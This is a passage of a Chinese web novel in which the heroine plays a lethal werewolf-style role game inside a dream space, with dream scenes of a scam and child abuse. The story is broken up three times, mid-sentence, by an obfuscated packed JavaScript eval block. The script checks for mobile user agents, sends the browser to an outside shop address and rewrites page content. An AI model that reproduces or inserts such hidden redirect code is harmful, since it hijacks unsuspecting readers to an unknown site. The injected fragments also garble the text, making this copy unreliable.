7号的发言相较于前面几个玩家显然更加犀利。首日发言过半,她相当于给后面的玩家定了一个基调,谁都别想置身事外地“划水”。气氛又开始紧张起来。 接下来轮到“预言家”之一的6号发言。 众人对他的发言都很关注,而他也很享受这种成为焦点的感觉,上来就是:“我很难过,明明给3号小姐姐发了好人卡,她却没有把警长票投给我。” 南柯:这一如既往的表演欲。 好在他的发言很快回到正轨:“看来大家都很厉害,倒是我卖弄了。” “之前跳预言家是临时起意,因为在我前面1号玩家刚刚结束发言,我觉得她的发言很好,基本符合我对预言家的期待。而我后边又只有8号一个人,那他拿狼人牌的概率就很大了。” “我在想,如果我也起跳预言家,混淆8号的视角,他完全可以让我和1号好人互咬,自己置身事外。如果他真的因此放弃起跳,我再退出警长竞选,1号就可以稳稳当选警长。” “不过显然狼人有自己的想法,8号最终还是起跳了。我怕投票的玩家里有好人分不清预言家,或者有狼人会给8号打支撑,所以我最终没有放弃竞选,相当于替好人阵营增加获取警徽的概率。这就是我当时的想法。” “至于为什么是给3号发好人卡……” 他顿了一下,直到众人的注意力再次集中,才笑道:“不得不说,10号玩家真是脑洞大开,在他的逻辑线中,我可以是第一天和3号玩家交换身份的‘彩蛋平民’。” “至于我到底是不是‘彩蛋’,我说了不算,3号说了算。” 他目光灼灼地看向3号,语气难得认真:“她是我心中的绝对好人,我百分之百信任她。请大家以她的发言为准~” 45. 卡牌秘境(七) 6号和3号一定不是第一次见面——这是南柯听完6号发言的第一想法。这么看来,6号无缘无故给3号发好人身份的行为也可以得到解释。同时,他关于“彩蛋平民”的发言显然是把主动权交给3号,如果3号想隐藏身份,或许可以借此发挥。 只是不知道,他们是约定一起进入这个梦境,还是出于偶遇。看3号的反应倒不太像前者。 6号发言结束,5号眉头紧皱:“你说你是预言家,我给你投了警长票。现在你又说你不是,岂不是显得我和12号很可笑?” “什么彩蛋平民,别把别人当傻子。别人可能会在第一天使用交换技能,你这种自诩游戏行家的人可不会。” 5号在竞选警长环节确实把票投给了6号,现在这番不悦的说辞情真意切。 她看向其他玩家,赌气道:“既然6号不是预言家,那就极有可能是狼人,我建议女巫晚上直接毒杀他,也免得继续影响我们的视角。” 说完这些,她语气稍缓:“我预言家都没找对,显然我之前的逻辑线也站不住脚。既然前边的玩家都说1号是预言家,那投8号我也没什么意见。” 她扫了南柯一眼,“不过9号说得很对,11号行为确实诡异,难保8号和她不是狼踩狼,今天8号几乎斗志全无,很可能就是在抬高11号的身份。我建议摄梦人今天直接摄梦11号,以防她作为隐狼活到最后。” “我暂时就说这些,谢谢大家。” 她的发言看似意正言辞,但细听实则没什么内容,几乎都在围绕焦点人物画圈,对于其他人的发言不置一词。 4号苏二面无表情地接话:“5号的发言主要表达了对6号行为的不满,情绪输出大于逻辑,我很难评价她的底牌,那我就说点别的。” “7号玩家提到我和3号支持9号当警长的行为很怪异,我不能苟同。这是个语言博弈游戏,或许有的狼人比预言家更擅长阐述完美逻辑,单纯根据一轮的发言来判断他们的底牌,这很片面。反而唯一没有起跳预言家的9号是绝对不会出错的选项。从这个角度来看,我认为警长竞选环节的投票不能说明什么。” “当然,8号今天的发言显然力不从心,或许大家的选择是对的,1号确实是真正的预言家,而且8号有很大概率是狼王。那么,8号被放逐在白天就可以额外爪击一个好人,我猜他很可能会带走预言家。” 他话锋一转:“既然如此,为什么不请女巫在夜间毒杀8号呢?这样,预言家今晚就可以继续查验,形势也会更加明朗。至于今天白天,我们完全可以放逐一个普通狼人。可惜,前面的玩家没人提到这一点。” “目前,9号,10号,11号暂时在好人席上。除此之外,12号,7号和5号都有嫌疑,因为他们都提到要放逐8号。其中,7号又质疑了12号的身份,建立起简单的对立关系。所以,我建议今天在7号和12号之间进行放逐。” “发言完毕。” 狼王的存在给好人阵营带来更大的分析难度,客观来说,苏二的考虑不无道理,如果不是南柯有额外的夜间信息,她也会觉得白天放逐8号不是最优解。 甚至,苏二最终提出在7号和12号之间进行放逐,听起来也没什么问题。7号对他表达了质疑,他对7号产生敌意无可厚非。 南柯对自己之前的判断产生一丝怀疑。难道苏二真的是好人? 来不及多想,3号已经开始发言:“我同意4号关于警长竞选的观点,为什么给9投票在此就不赘述了。” 她看向6号,眼神有些复杂,许是受了刚刚他发言的影响:“关于6号给我发好人身份这件事……我本身的底牌就是平民,如果他和我交换身份,那么我仍然是平民。我的底牌从始至终都没有变化,所以我无法确定他是否对我使用了技能。” 她给出结论:“6号可能是混淆狼人视听的好人,也可能是想踩着我的底牌抬高自己身份的狼人。我只分享我知道的信息,大家可以理性分析。” “不过,关于今天的放逐对象,我倾向于投8号。他确实可能是狼王,但狼王也是狼,至少不会误投好人。预言家并没有查验到其他狼人,如果按照4号所说投7号或12号,肯定存在一定风险。” “其他的,我明天再分析。局势还不明朗,在没有绝对的把握之前,我不想对任何人表达质疑。” 她的发言很简短,很符合她安静的个人风格。但在南柯心中,3号的语焉不详似乎更有深意。当然,一切推测都要靠明天的死亡信息来佐证。 很快轮到唯一将警长票投给8号的2号发言。 他不再谈论预言家的问题,只是吊着眼看向南柯:“11号真是厉害,第一次玩狼人杀就会看人面相了。” 南柯回以一个没什么情绪的笑。 2号耸耸肩:“我的确是猎人,既然被人看穿身份,也没什么好隐藏。之前投票给8号,也只是因为我觉得11号身份可疑,8号的查验很有吸引力。投错就投错了,反正我是猎人,可以自证身份。” “话都被前面的人说完了,我没什么好说的。一切听预言家的安排吧。” 2号潦草结束了发言,有猎人的底牌支撑,显然有恃无恐。 实际上,除了4号和7号,其他大部分玩家在首日的发言都很含蓄,暂时没表现出显著攻击性,而预言家势必会参考大多数好人的意见。南柯想,即使4号提出一个很有诱惑力的建议,1号大概也很难采纳。 对于1号来说,她最担心的就是预言家的身份不被好人认可。想不到,一圈发言下来,几乎所有人都站在她这边。 压力骤降,她发言也更加从容:“感谢大家的信任。听完本轮发言,我发表一些我自己的看法供大家参考。” “从我的视角来看,10号是我查验的明确好人,2号是猎人,这两个人的底牌毋庸置疑。” “除此之外,我觉得还有两位玩家可以直接划到好人阵营,那就是11号和9号。9号就不多说了。11号姐姐虽然不一定是摄梦人,但她给出三条理由阐述为什么在我和6号之间我才是真预言家,我认为她的分析的确是根据闭眼视角来展开,而不是提前已知我的底牌。” “此外,虽然4号和7号表达了对彼此的质疑,但他们两位各自的逻辑都能自洽,且他们敢于发表意见,努力寻找除8号之外的狼人。我认为他们底牌为好人的概率较高。” “综合以上,我心目中的四个狼人产生在3号,5号,6号,8号,12号之间。” 她斟酌片刻,“但是我本人比较保守,今天的放逐对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16843897|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 象,我仍然倾向于8号。与其冒险,不如投掉确定的狼人。即使他发动技能带走我,我相信剩下的好人也可以凭借逻辑带我走向胜利。如果很幸运他没有发动技能,那我今晚会查验3号。” “我的发言大概就这些,谢谢大家。” 系统仿佛已经迫不及待。在1号发言结束的瞬间,系统提示音便响了起来:“存活玩家已全部发言完毕。接下来,请各位玩家认真思考,谨慎选择今天的放逐对象。倒计时十秒钟。” 不出意外,南柯面前再次出现了电子屏,电子屏上包含十二个号码牌,甚至连她自己的号码也在其中。 众望所归,她选择了8号。 十秒倒计时结束,圆桌右侧上空的电子屏上呈现出放逐结果——十二位玩家全部投票给8号,即使他本人也不例外。 这意味着什么不言而喻。 果然,8号面无表情道:“我选择发动爪击技能。” 系统:“请在你面前的电子屏上选择你要爪击的对象。” 众人都觉得他会直接带走1号预言家,但8号却对着虚空中他人不可见的电子屏犹豫了一下。 不过,他显然不太具备冒险精神,最终还是选择了1号。 系统很快公布:“8号玩家选择使用爪击技能带走1号玩家,请两位玩家依次发表遗言。” 8号再次犹豫了一下。 斟酌片刻,他扶了扶镜框,沉声开口:“我暂时不能确定摄梦人的位置,但女巫的位置应该很明显。我建议队友今天晚上击杀女巫。就这样。” 显然,他不想暴露过多信息,但又想给队友做出提示。 听了他的“遗言”,1号元气满满的脸上显露出些许凝重。她听完所有人的发言,并没有听出哪位玩家很像女巫,可能是有玩家的发言无形间暴露了自己知晓昨夜狼人的击杀对象,从而引起狼人怀疑。 她想了想:“我不知道女巫的身份是否真的已经暴露,但8号这么说,一定有所依据。所以,如果明天有人起跳女巫的身份,希望大家保持怀疑的态度,毕竟真正的女巫很有可能被狼人偷偷击杀。” “另外,如果昨晚摄梦人的摄梦对象在我刚刚点到的几个疑似狼人中,我建议摄梦人连续摄梦两夜把他杀死,女巫的毒药也是同理。即使杀错,也可以为好人排除一个位置,便于后续理清局势。” 她显然不能完全放心,但她确实无法再给出更多建议,只能就此结束此轮的游戏之旅。在系统的提示下,她将警徽交接给10号,使他成为新任警长。完成操作的一瞬间,1号和8号凭空消失在众人视野中。 黑雾再次弥漫,被无形的硝烟所笼罩的圆桌迎来了游戏的第二夜。 在系统的问询下,南柯深吸一口气,神色复杂地选定了今晚的摄梦对象——倒不是她犹豫不决,只是摄梦就意味着她要再次被迫“窥探”别人的人生。她对此颇为抗拒。 不多时,熟悉的电子屏上果然又开始播放视频—— 画面的地点似乎是一个老年社区。二十岁出头、身穿白衬衫的男生正顶着烈日,卖力地向一个身形佝偻的老人推荐手上的按摩器材。 那时,他还不是如今的“绅士”。那张稚气未脱的脸上同时呈现出欲望和歉疚,正如永远无法以一言蔽之的复杂人性。 46. 卡牌秘境(八) 视频中,老人欢喜地回家摸出压在床底的几张百元钞票,又从一个搪瓷罐子里倒出些皱巴巴的散钱,零零碎碎加起来,凑了一千块。 他颤巍巍地把钱交给男生,然后如获至宝地把按摩器械抱在怀里,嘴里念叨着:“好啊,这个东西好。以后再也不用花俺小子的钱看脖儿了。” 男生像钉子一样扎在原地,僵硬地目送老人远去。直到老人的背影彻底消失在视线里,他才动作缓慢地将褶皱的钱一张张理平。 理着理着,他的脊背渐渐弯下去,仿佛比刚刚的老人更加佝偻。 钞票的纸面一张张被洇湿。 许久之后,男生狠狠抹了一把脸,转身朝相反的方向走去,再不回头。 画面在此戛然而止,黑雾回归,系统的声音再次响起:“你觉得他该死吗?” 南柯冷冷注视着面前的虚空:“他该不该死不由我决定,也轮不到你来审判。”她厌恶系统高高在上的样子,仿佛覆手间便可掌控他人的生死。 系统极轻地笑了声,似在嘲讽她无谓的抗拒。它叹息:“可惜……” 南柯没来得及过问这两个字的含义,眼前的黑雾就已经散去。紧随其后是系统针对所有玩家的播报—— “天亮了。昨晚是个平安夜,无人死亡。” 播报结束,众人脸上的表情精彩纷呈,有人惊叹,有人庆幸,也有人神色凝滞。 南柯并不意外这个结果。从第一天3号的反应来看,她就猜测,3号可能是那个第一天被狼人击杀的女巫。她无法自救,也没有使用毒药盲杀其他玩家,在她的视角里,第一天白天她应该会死,但那天却是平安夜,所以她才会感到惊讶。 至于南柯对2号猎人身份的猜测也基于此。最初她认为2号大概率是神职或者狼人,看到警长投票后,她推测的狼人位置就在2号、4号、5号、12号之中。 这里边,她最确定的狼人是12号,其次就是4号苏二。她在2号和5号之间略有犹豫。其中,5号和12号一样,把票投给没有查验功能的假预言家6号,既能撇清和8号的关系,又可以避免真预言家当选警长利用警徽传递信息;而2号则是直白地把票投给了8号狼人。 两相权衡,她认为2号作为没有夜间信息的好人的概率更大,不然他不会冒险给发言并不过关的8号队友投票。既然他不是狼,也不是女巫,那只能是猎人了。 今天的平安夜,当然也不是南柯成功守护12号玩家得到的,而是3号女巫终于用出她的解药。 10号玩家思虑片刻,最终选择从他的右侧开始沿顺时针方向依次发言。 南柯想,今天狼人一定要有动作了。两个平安夜,女巫和摄梦人的位置无法确定,狼人光靠发言很难扭转局面。 她尽量模拟闭眼视角发言:“正如很多玩家的猜测,我的确不是摄梦人,昨天的发言只是为了搅乱狼人的视角。今天出现平安夜,很大概率是摄梦人守护到了狼人的击杀对象,那真正的摄梦人应该要跳出来了,我就不给好人添乱了。” “我第一个发言,没有任何夜间信息,现在分析全局肯定也很片面,就不耽误大家时间了。” 本来她可以直接亮出摄梦人的底牌和3号对信息,但第一天的夜间信息毕竟太过巧合,万一引起好人的质疑,把她或者3号放逐出局,这局游戏好人就必输无疑。最终她还是决定先看狼人的应对之策,实在不行,总归后边还有白芒。 12号脸上还是一成不变的儒雅笑意,和南柯“摄梦”的时候看到的那个白衬衫男生有很大割裂感。 他娓娓阐述:“很荣幸,看来我昨天应该守护出一个平安夜。” 果然。 他看向南柯:“我才是真正的摄梦人,不过还是感谢11号小姐昨天替我吸引狼人的视线。” “我第一天的摄梦对象是盲选的2号。昨天2号玩家跳了猎人的底牌,我当然不能连续两天把他梦死。深思熟虑之后,我昨晚摄梦了10号玩家。” 他略作停顿,“听到是平安夜的那一刻,其实我松了一口气。预言家听过发言后没有把我划归到好人阵营,我很怕女巫心念一错把我毒杀掉。但风险与机会并存,这恰巧也意味着我不会引起狼人的注意,不会成为他们的击杀对象。所以,我想冒险守护一位容易被击杀的玩家。” “虽然8号的遗言说他找到了女巫,但我很难揣测他指得是谁。这种情况下,守护预言家查验的明确好人总不会出错。这就是我的想法。” “目前来看,狼人的位置就锁定在3号,4号,5号,6号,7号之间。7号之前明确表达过对我的质疑,但我更关注的是4号玩家。因为,在8号势必会出局的情况下,他提出要在我和7号之间放逐,这很可能是在保护他的队友8号,希望警长可以参考我的建议。谢谢大家。” 在他起跳摄梦人的那一刻,其余玩家此前对他底牌的评价无疑会被全部抹去。就连此前对他表达过质疑的7号,此时脸上也流露出思索之色。 2号的发言一如既往的草率:“又一个平安夜,看来我们的女巫格外心软,第二天都不舍得使用毒药。” “既然12号说他是摄梦人,我就等着看后边有没有人和他对跳身份了。如果没有,狼人的位置就那么几个,跟随警长的脚步总没错。” 看他的样子,似乎觉得这局游戏已经胜券在握。 不过,3号紧随其后的发言打破了他的幻想—— “我接下来的发言很重要,希望大家认真听。”3号仍然没什么表情,语气却沉着许多,“昨天发言的时候,我说自己是平民,只是为了隐藏身份,我的真实身份是女巫。” 12号脸上的笑意终于出现了一丝裂痕。即使他及时收敛,眼中却仍留有难以置信。与他的表情如出一辙的是5号。 3号当然无暇关注这些,她接着说:“第一晚,我被狼人击杀了。女巫无法自救,只能使用毒药。但我担心毒杀到其他好人,就压下了这瓶毒。我本来以为自己要死了,结果,第一天是个平安夜。” “我很快反应过来,是摄梦人在第一天守护了我。那么我的任务就是尽量降低自己的存在感,伪装成一个平民。这样,第二天我就可以使用解药救人。” “昨晚,狼人的击杀对象是6号,我使用解药救了他。解药和毒药不能同一天使用,所以我无法毒杀别人。” 她扫了6号一眼,“6号被击杀,大概是因为他说我是百分之百的好人。在狼人的视角里,他这样信任我,极有可能是因为他是女巫,第一天用解药救了我。” “我只能说这是个巧合,但好在这个巧合的结果是好的,两天平安夜为好人争取了一个轮次,同时也让我确定6号确实是好人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848159|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “刚刚12号玩家说他第一天摄梦了2号,和我的信息无法匹配,所以他一定是狼人。但他已经起跳摄梦人,后面一定会有一个狼人起跳女巫和他打配合。希望警长注意甄别。因为猎人已经在明面上,局面并没有那么乐观。如果今天投错,好人阵营很可能会输。” “我要说的就这些。” 接连两个神职起跳,且形成强对立,显然第二天白天狼人和好人阵营的博弈比第一天要激烈得多。 南柯紧密关注4号和5号的发言。不出意外,他们之间应该有一个会和3号对跳女巫。 苏二略作思考,很快整理清楚思路:“12号和3号的发言从各自的视角出发都没有什么逻辑漏洞。当然,3号给出的信息确实更加凑巧,狼人为什么第一天选择击杀3号,摄梦人又为什么第一天会选择3号摄梦,这些都是需要考量的点。” 看来,准备对跳女巫的并不是苏二,但他的话无疑会在其他玩家心中埋下疑惑的种子。毕竟,南柯第一天选择摄梦对象只是框定一个范围然后随机选择,当“随机”碰上“巧合”,事实的可信度也被迫降低。 苏二接着道:“如果3号是狼人,那么6号势必是她的队友,毕竟她不会无缘无故说救了6号来抬高他的身份。” “至于剩下的狼人,想必之后还会有两位玩家分别起跳摄梦人和女巫。听完他们的发言我再做分辨。我暂时就分析这么多。” 他的发言看似公允,实则在偏向12号。他选择在这个位置铺垫,自然是5号来对跳女巫。 许是这个轮次格外关键,5号神色也认真很多:“我才是真正的女巫,看来,今天狼人按捺不住了。” “狼人第一天真正的击杀对象是10号,而我使用解药救了他。这也是我第一天不太相信1号是预言家的理由,10号吃刀,她碰巧又查验了10号,我向来对这种巧合很敏感。” “昨晚我本来要毒杀6号的,但预言家的总结发言对我表达了质疑,我在想,如果我过早使用毒药,后面就没办法自证身份了。所以,我把这瓶毒压了下来,如果有狼人和我对跳,我晚上也可以把他毒杀掉。”她流露出遗憾的神色,“可惜,如果昨晚坚持毒杀6号就好了。” “现在我的视角很清晰,明确的狼人就是3号和6号,最后一个狼人在4号,7号,9号和11号之间。” “当然,今天我会放逐3号。”她挑衅地看向6号,“6号不会要跳摄梦人了吧?我劝你不要,还是让你最后一个队友来吧。毕竟现在巧合已经太多了,再加一个巧合,你们可就一点机会都没了。” 6号挑了挑眉:“瞧瞧,我都不急,5号玩家已经急上了。”他看向3号,笑得开怀,“之前说3号是好人,完全是出于我的个人情感。感谢狼人朋友们,今天我确定了3号确实是百分之百的好人。” 3号显而易见地皱了皱眉。这还是她脸上第一次流露出如此生动的表情——南柯猜她可能是被6号油腻到了。 6号接着发言,“我当然不是摄梦人,真正的摄梦人就在7号、9号和10号之间。如果摄梦人是10号,狼人不就直接崩盘了吗?真羡慕5号和12号的定力,如果我是狼,现在恐怕已经像热锅上的蚂蚁了。” 南柯垂下眼看圆桌上的木头纹理:我比较羡慕你的定力。听了你的发言,很难说要崩盘的是哪个阵营。 47. 卡牌秘境(九) 6号气定神闲地总结:“现在局面很明确,12号和5号是两个狼人,只要睿智的警长在这两个人之间投票一定没问题。” 从6号的视角来看确实如此,但他最初起跳预言家给3号发好人身份,3号今天又起跳女巫说他被狼人击杀,这在其他玩家眼中实在过于“暧昧”。 此前质疑过12号的7号也不禁产生动摇:“我并不是摄梦人。如果10号起跳摄梦人,那自然没得说。但如果是9号起跳摄梦人,我还要再考虑考虑。毕竟9号也竞选了警长,现在看来,他的发言也不能全信。” “我还没听到第二个摄梦人的发言,今天我也不是焦点位置,就先不浪费大家时间了。” 游戏进行到这里,狼人和好人的发言分庭抗礼,任何微小的细节都有可能影响其他玩家对局势的判断。 白芒无奈地叹了口气:“今天之前我还是全场玩家公认的好人,想不到一天过去,这个‘好人’身份就要被剥夺。” “很遗憾,10号不是摄梦人,我才是。” 虽说他原本就猜测只有南柯会在第一天交换他的底牌,但12号的发言无疑让他更加确定。因为12号丝毫没有提及彩蛋平民,说明他根本就不知道这一茬,那他只能是狼人。 南柯今天没有跳底牌,无疑是相信他可以打好配合,那他当然不能让她失望。 “我第一天随机选择了3号玩家进行摄梦,当时并不知道她是女巫,但警长竞选的时候她给我投票,我觉得她好人的概率偏大,所以,第二天我更换了摄梦对象,换成了11号。” “昨天11号跳了我的底牌,我发言的时候对她提出了质疑。我很怕狼人从我的发言听出端倪,从而偷偷击杀我。我想着即使我死,也要拉着11号一起,不能让她在我死后继续跳摄梦人的身份。” “今天系统播报是个平安夜,我还有些诧异。难道11号确实是好人,狼人击杀她是冲着真摄梦人去的?我觉得不太可能,毕竟谁都看得出,11号不是认真在跳摄梦人。” “直到3号说她是女巫,被击杀的是6号,我才恍然大悟。” 他想了想,诚恳道:“今天大家对摄梦人和女巫的身份存疑也没关系,毕竟女巫晚上可以使用毒药,摄梦人晚上也可以选择狼人进行摄梦。最稳妥的打法是,这四个‘神职’今天白天都不要动,我们放逐另外一个人出局。就算被放逐的人是平民,也不会丢失轮次。这是我的建议,希望警长可以参考。” 南柯充分理解他的思路。在现实世界的桌游中,从大局的角度出发,即使“牺牲”一个平民也不损失轮次,而且这种打法会更加稳妥。但在这个积分和生死挂钩的梦境中就不一定了。 10号思考片刻,开始了他的总结发言:“现在形势基本已经明朗,3号和9号是一个团队,他们的最后一个队友大概是6号;5号和12号是一个团队,他们的最后一个队友可能是4号,7号或者11号。” “其中,4号曾在第一天白天提出放逐12号,12号在今天又明确表达了对4号的质疑,表面上,4号和12号不太可能做队友。所以如果5号和12号是狼人,那他们的最后一个队友很可能在7号和11号之间。” 他略作停顿,“9号提出可以让神职和狼人在夜间博弈,今天从剩下的玩家之中放逐,这也是一种打法。但,投错就会被扣分,我不确定是否所有的好人都愿意冒险。” “为了防止票型分散,我建议今天在3号和5号两位女巫之间进行放逐。她们的发言逻辑各自都能自洽,我也没有绝对的把握分辨。所以,百分之五十的概率,具体投谁大家自己斟酌。” “我的发言就到这里。” 第二天的发言全部结束,系统提醒开始投票,众人面前再次出现了包含存活玩家号码牌的电子屏,投票时间仍是十秒钟。 对于12号,3号,5号,9号和南柯来说,投票结果当然已经确定,有变数的是2号,4号,7号和10号。这几个人几乎是在倒计时归零的前一秒才做出选择。 悬空的面板上呈现出本轮的投票结果—— 3号得票:2号,4号,5号,7号,12号 5号得票:3号,6号,9号,11号 10号玩家放弃投票。 从结果来看,3号和9号之间的“巧合”终究没有说服多疑的好人,3号玩家以一票之差被放逐出局。 只是南柯没想到,10号居然会弃票。她不相信10号一个狼人都找不到,这种情况更像是他在作壁上观,以旁观者的角度欣赏其他玩家之间的“厮杀”。这和陈立阳带给她的感受截然相反。 3号被放逐出局本可以发表遗言,但她觉得没什么必要。在她的视角里,她出局后,狼人会直接击杀9号,即使9号摄梦12号和他同归于尽,剩余的两张狼人牌仍然可以从容地击杀最后的猎人2号。这局游戏已经结束。 3号如前一天的1号和8号一样,沉默地消失在众人视野中。黑雾再次席卷的瞬间,5号和12号眼中已经流露出胜利的喜悦。 系统提示音再次出现时,南柯毫不犹豫地选择了12号进行摄梦。如果5号出局自然皆大欢喜,但3号出局,这局游戏也并非无解。 她冷眼看着黑雾搅动,“摄梦”的电子屏再次出现。 画面中,曾经面对“养老诈骗”尚存矛盾之心的青涩男生已经变成如今的“绅士”。此时,他正悠闲地坐在办公室舒适的真皮转椅上,微笑着给新来的年轻人做“推销培训”,游刃有余。 有个女生胆怯地举手提问:“老板,这个玉石床垫是不是太贵了?” “绅士”脸上笑意不变:“这是‘孝心’的标价,而不单单是床垫。子女为父母的健康买单,谁会关心价格后边有几个零呢?” 这次的视频很短,仿佛只是想让南柯看到上个视频的后续。 系统补全了上次没说完的话:“可惜,他和你本身就是不同阵营。如果是同一阵营,你会努力带他走向胜利吗?” 南柯凉凉笑了笑:“你觉得他是‘坏人’,而我是‘好人’?” 系统没有正面回答:“好坏在你自己心中。我只是好奇,如果带‘坏人’赢的代价是有‘好人’要因此丧命,你会怎么选?毕竟你知道的,我们这是个阵营游戏,没有皆大欢喜的结局。” 南柯面无表情:“我怎么选不劳你操心。” 机械女声中的感情似乎越发充沛:“那如果是10号呢?” 南柯的眉骨极轻地跳了跳。 系统接着道:“如果让10号活下去的代价是有其他‘好人’要因此丧命,你又会怎么选?” 南柯敏锐地抓住了其中的重点。她按捺住心里的疑问,漠然反问:“10号和我有什么关系?” 系统低低笑了笑:“有什么关系,你说了算。” 说完,不等南柯继续发问,黑雾便逐渐散去。 系统播报的声音收敛了多余的情绪:“天亮了。昨晚死亡的玩家是……” “9号和12号!” “请警长选择发言顺序。” 兜帽掩盖了10号的表情,但他的身体显然僵了一下。 片刻,他沉默地指了指左侧,示意从7号开始逆时针发言。 7号神色凝重:“昨晚只有9号和12号两位玩家死亡,如果5号是女巫,她应该会使用毒药毒杀6号。看来,我们昨天放逐的3号才是真正的女巫。” “昨天在10号的分析中,能够做5号和12号狼队友的只能是我或者11号,我认同他的观点,但我自己并不是狼人,11号也很难和12号同阵营,否则她大可自己继续起跳摄梦人。所以,如果12号是狼,我找不到最后一张狼人牌,只能放逐3号。从投票结果看,他们的队友应该是4号,只是他们一直在互踩,混淆了好人的视角。” 她嘴唇紧抿,简短地结束发言:“今天放逐5号吧。”昨天放逐女巫的每个好人都该为本局游戏的失败负责,包括她自己。 2号脸上同样显露出颓败和不甘,在所有人的视角里,游戏至此已经结束,甚至5号也不再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856966|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掩饰。 只是,放逐投票前,苏二似有所感地看了南柯一眼。那个眼神很深邃,南柯猜想,他对自己的底牌一定有所质疑。 直到现在,都没有玩家承认自己是彩蛋平民。苏二在狼人阵营,一定知道自己的三个队友不是彩蛋平民。而如果彩蛋平民的交换对象是另一个平民,也一定已经跳出来帮助好人补充信息。 只有一种可能性,那就是彩蛋平民交换到了一张神职。而现在看来,这张神职,只能是摄梦人。别人可能想不到这一点,但南柯相信,苏二一定想到了。 只是,昨夜存活的狼人有三个,即使他提出这一点疑惑,5号和12号大概也不会相信。毕竟,白芒的发言同样逼真,完全代入了摄梦人的视角。况且,除了苏二以外,其他狼人根本想不到南柯和白芒有过一起穿越梦境的缘分。 也就是说,在白芒起跳摄梦人的那一刻,他被击杀就已经成为必然结果。 很快,投票结束。其余所有玩家都选择放逐5号,而5号则挑衅般地投票给2号猎人。她的遗言同样简短:“狼人万岁~我们下局再见。” 第四天入夜,再次轮到南柯选择摄梦对象。 如果是其他狼人,很可能会直接击杀2号,但苏二的话……南柯不太确定。他如果看穿自己的摄梦人身份,很有可能会击杀自己。 必赢的局面没必要赌,南柯选择4号进行摄梦。这也就意味着,她会在这一天看到属于苏二的“梦境”。 南柯曾在【细胞工厂】中听苏一提过只言片语,苏二的童年并不快乐。她不愿“参观”别人的苦难。 但系统偏不如她所愿—— 画面中的场景很昏暗,像是废弃许久的储物室,只在一面墙壁上开了个很小的窗,窗上焊了几根铁栅栏。 窗口透进来微弱的光线,照在蜷缩在角落里的小男孩身上。他大概十岁出头,脸色蜡黄,嘴唇上满是皲裂的干皮。此时,他正用双臂紧紧环抱住自己只穿着单衣的上半身,但这个动作显然无法缓解他的寒冷。他靠在墙边抖如筛糠,光是从他的动作就看得出这是个怎样凛冽的冬日。 不多时,画面外传来模糊的声音,依稀是一个男人和一个女人。 “他不会死了吧?” “这才两天,上次关了三天都没事儿,他命硬着呢。” 女人心有余悸:“我们这么做,会不会遭天谴呀……” 男人毫无畏惧:“怪就怪老天爷自己非要堵我的财运!什么臭算命的,说去福利院领个孩子回来能有福报,赚大钱。结果自从那个讨债货来家里,买的股票全赔了!” 他冷笑两声,语调癫狂:“倒是上次关了他几天,股票一下子就涨了。我看他就是来克我的,他不好过,我才能好过!” 门外的声音,苏二不知道听到没有。他只是颤抖着抬头望向墙上的小窗口,脸已经被冻得僵硬,做不出任何多余的表情。 外面应该是下雪了。一片雪花翻过窗口的栅栏,打着旋儿飘到苏二身边,最终融化在他的眼睛里。 房间的铁门在这时被打开,发出令人牙酸的咯吱声—— 画面便在此处定格。 南柯的手不由自主地攥起来。她想起初见苏二时对方天真无邪的样子,此时她才更加深刻地理解,那种天真,来自于苏一的治愈。 苏一不知花了很长的时间才把弟弟从黑暗的泥淖中拉拽出来,而【造梦空间】轻描淡写地将之抹杀,再次把苏二推回暗无天日的深渊里。 南柯从没有把自己定位为“好人”,做“好人”很累,她没有拯救陌生人的义务。但此时她不得不承认自己内心起了波澜—— 十二人的游戏,只有六个人能活下来。她无法平静地看着苏二死,甚至对于3号,她也无法做到无动于衷。 蝶网负责带她的前辈曾说过她不适合做特工,她当时不太理解,毕竟她在每次测试中都能拔得头筹。现在,她大概懂了。 南柯有些挫败地想,如果系统呈现这些“梦境”是为了搅动她的心境,那么,它成功了。